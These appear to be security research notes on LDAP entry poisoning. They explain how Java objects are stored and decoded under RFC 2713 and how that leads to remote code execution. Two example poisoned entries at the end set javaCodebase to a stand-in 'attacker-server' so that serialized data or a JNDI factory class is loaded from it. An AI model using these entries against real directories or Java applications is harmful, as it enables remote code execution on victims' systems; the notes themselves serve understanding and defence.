LDAP can be used to store Java objects by using several special Java attributes
There are at least three ways a Java object can be stored in an LDAP directory:
- Using Java Serialization
- Using JNDI References
- Using Remote Locations (deprecated?)
The decoding of these objects by the javax.naming.spi.NamingManager will result in remote code execution
Lookup (Naming) vs Search (Directory)
- Directory Services allow the assignment of Attributes to stored Entries.
- Lookup operations are allowed but not widely used.
- Search operations that request Entry attributes are the normal way to query Directories:
Example search operation:
Search(“uid=john,ou=People,dc=example,dc=org”)
Example search response (list of attributes):
ObjectClass: inetOrgPerson
UID: john
Name: John Smith
Email Address: john@acme.com
Location: Vegas, NV
If the search was conducted requesting that the entry’s object be returned (i.e. SearchControls.setReturningObjFlag() was invoked with true):
- then
javax.naming.directory.SearchResultwill contain an object that represents the entry
If a java.io.Serializable, Referenceable, or Reference object was previously bound to that LDAP name:
- then the attributes from the entry are used to reconstruct that object
Otherwise:
- the attributes from the entry are used to create a
javax.naming.directory.DirContextinstance that represents the LDAP entry
Java Object Decoding
Let’s look into com.sun.jndi.ldap.Ldap{Search|Binding}Enumeration
// only generate object when requested
if (searchArgs.cons.getReturningObjFlag()) {
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
// Entry contains Java-object attributes (ser/ref object)
// serialized object or object reference
obj = Obj.decodeObject(attrs);
}
if (obj == null) {
obj = new LdapCtx(homeCtx, dn);
}
…
}
Java Schema (RFC 2713)
RFC 2713 defines different representations for Java objects so that they can be stored in a Directory Service:
- Serialized Objects (javaSerializedObject) - a serialized object is represented in the directory by the attributes:
javaClassNamejavaClassNamesjavaCodebasejavaSerializedData
- JNDI References (javaNamingReference) - contains information to assist in the creation of an instance of the object to which the reference refers
javaClassNamejavaClassNamesjavaCodebasejavaReferenceAddressjavaFactory
- Marshalled Objects (javaMarshalledObject) - marshalling is like serialization, except marshalling also records codebases
javaClassNamejavaClassNamesjavaSerializedData
- Remote Location (Deprecated) - Store location of remote RMI objects
javaClassNamejavaRemoteLocation
Entry Poisoning with Serialized Objects
Place payload in javaSerializedData attribute
ObjectClass: inetOrgPerson
UID: john
Name: John Smith
Email Address: john@example.org
Location: Vegas, NV
javaSerializedData: ACED01A43C4432FEEA1489AB89EF11183E499…
javaCodebase: http://attacker-server/
javaClassName: DeserializationPayload
If com.sun.jndi.ldap.object.trustURLCodebase is true
- attackers can provide their own classes
else
- attackers will be able to use available classes in the
CLASSPATH
Entry Poisoning with JNDI References
Use JNDI Reference using remote factory class:
javaClassName- name of referenced object classjavaFactory- name of Factory classjavaCodebase- location of Factory class
ObjectClass: inetOrgPerson, javaNamingReference
UID: john
Name: John Smith
Email Address: john@example.org
Location: Vegas, NV
javaCodebase: http://attacker-server/
JavaFactory: Factory
javaClassName: MyClass